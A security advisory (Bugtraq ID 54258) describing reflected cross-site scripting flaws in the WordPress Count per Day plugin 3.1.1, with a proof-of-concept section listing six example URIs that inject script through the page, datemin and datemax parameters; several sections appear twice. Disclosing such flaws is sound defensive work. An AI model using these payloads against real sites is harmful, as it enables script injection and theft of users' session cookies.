WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
BID:54258
Info
WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 54258 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 02 2012 12:00AM |
| Updated: | Jul 16 2012 09:10PM |
| Credit: | Stefan Schurtz |
| Vulnerable: |
WordPress Count per Day 3.1.1 |
| Not Vulnerable: | |
Discussion
WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
The Count per Day plugin for WordPress is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Count per Day 3.1.1 is vulnerable; other versions may also be affected.
The Count per Day plugin for WordPress is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Count per Day 3.1.1 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(/xss/)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(/xss/)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(/xss/)</script>
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(/xss/)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(/xss/)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(88)</script>
http://www.example.com/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(/xss/)</script>
Solution / Fix
WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
Solution:
Vendor updates are available. Please see the references for more information.
Solution:
Vendor updates are available. Please see the references for more information.
References
WordPress Count Per Day Plugin Multiple Cross Site Scripting Vulnerabilities
References:
References:
- WordPress Count per Day Plugin Homepage (WordPress)
- WordPress Homepage (WordPress)